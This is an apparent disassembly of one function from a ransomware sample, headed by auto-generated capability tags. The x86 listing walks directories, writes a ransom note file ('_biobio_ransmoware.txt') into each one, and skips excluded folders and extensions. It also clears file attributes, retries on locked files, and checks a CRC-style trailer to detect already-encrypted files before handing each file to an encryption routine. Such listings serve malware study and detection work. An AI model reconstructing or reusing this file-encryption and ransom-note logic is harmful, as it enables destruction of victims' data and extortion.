Function at 0x405470
Capabilities:
Encode data using xor
Enumerate files on windows
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ac
push ebx
push esi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, dword [ebp + 8]
lea eax, [esp + 0x18]
push ebx
push str.Start_Enumeration:__s
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], eax
call fcn.004049f0
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea esi, [eax*2 + 0xe]
push esi
push 8
push dword [0x4236f4]
call ebx
mov edi, eax
mov dword [esp + 0x20], edi
test edi, edi
jne 0x4054f4
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x4236f4]
call ebx
mov edi, eax
mov dword [esp + 0x20], eax
test edi, edi
je 0x4054d4
push dword [ebp + 8]
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov dword [eax + 4], edi
mov eax, ecx
mov dword [esp + 0x18], edi
cmp edi, eax
je 0x4059d2
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea eax, [edi + 8]
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax*2 + 0x3c]
push edi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x405570
nop
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405550
push dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str._biobio_ransmoware.txt
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4055cd
push 0
lea eax, [esp + 0x30]
push eax
push 0x4232a0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x4232a0
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x10]
push 0x41fa0c
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x68]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x4059a1
mov ecx, dword [esp + 0x20]
add ecx, 8
push 0x2a
push ecx
call fcn.0040752e
mov esi, dword [esp + 0x1c]
add esp, 8
xor ecx, ecx
mov word [eax], cx
push 0x41fa14
lea eax, [esp + 0x98]
push eax
call ebx
test eax, eax
je 0x405986
push 0x41fa18
lea eax, [esp + 0x98]
push eax
call ebx
test eax, eax
je 0x405986
mov eax, dword [esp + 0x68]
test eax, 0x404
jne 0x405986
xor esi, esi
test al, 0x10
je 0x405720
nop word [eax + eax]
push dword [esi + 0x41f130]
lea eax, [esp + 0x98]
push eax
call ebx
test eax, eax
je 0x405982
add esi, 4
cmp esi, 0x50
jb 0x405670
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esp + 0x94]
push eax
call edi
add esi, eax
lea esi, [esi*2 + 0xe]
push esi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x4056e3
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4056c3
push dword [esp + 0x10]
lea esi, [edi + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x94]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [esp + 0x1c], edi
jmp 0x40597e
push dword [esi + 0x41f0c0]
lea eax, [esp + 0x98]
push eax
call ebx
test eax, eax
je 0x405982
add esi, 4
cmp esi, 0x38
jb 0x405720
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov edi, eax
cmp word [edi], 0
je 0x405779
xor esi, esi
nop dword [eax + eax]
push dword [esi + 0x41f0f8]
push edi
call ebx
test eax, eax
je 0x40597e
add esi, 4
cmp esi, 0x18
jb 0x405760
cmp dword [esp + 0x88], 0
jne 0x405791
cmp dword [esp + 0x84], 0
je 0x40597e
push dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
call ebx
mov esi, eax
lea eax, [esp + 0x94]
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, eax
lea edi, [esi*2 + 2]
push edi
push 8
push dword [0x4236f4]
call ebx
mov esi, eax
test esi, esi
jne 0x4057ec
nop dword [eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x4236f4]
call ebx
mov esi, eax
test esi, esi
je 0x4057d0
push dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x94]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.00405020
push 0x80
push esi
xor edi, edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x4058ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
je 0x405870
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
je 0x405870
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x405969
cmp edi, 1
je 0x4059ee
mov ecx, esi
call fcn.00405020
mov edi, 1
jmp 0x405885
cmp ebx, 1
je 0x405a01
mov ecx, esi
call fcn.00404e80
mov ebx, 1
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x405834
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x80
push esi
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x28], ebx
cmp ebx, 0xffffffff
je 0x40595b
push 2
push 0
push 0xffffffffffffffff
push 0xffffffffffffffcc
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x405954
push 0
lea eax, [esp + 0x34]
push eax
push 0x34
lea eax, [esp + 0x40]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x405954
lea edi, [esp + 0x38]
or edx, 0xffffffff
mov ebx, 0x20
movzx eax, byte [edi]
lea edi, [edi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x41eb40]
sub ebx, 1
jne 0x405920
mov eax, dword [esp + 0x24]
mov ecx, 1
cmp edx, dword [esp + 0x64]
mov ebx, dword [esp + 0x28]
cmove eax, ecx
mov dword [esp + 0x24], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x24], 0
jne 0x405969
mov ecx, esi
call fcn.004050f0
push esi
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x68]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405620
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x20]
push edx
push 0
push dword [0x4236f4]
mov eax, dword [edx + 4]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x18]
mov dword [esp + 0x20], edi
cmp edi, eax
jne 0x405525
push dword [ebp + 8]
push 0
push dword [0x4236f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push esi
push str.Unable_To_Access_File:__s___ACCESS_DENIED
call fcn.004049f0
add esp, 8
jmp 0x405969
push esi
push str.Unable_To_Access_File:__s___SHARING_VIOLATION
call fcn.004049f0
add esp, 8
jmp 0x405969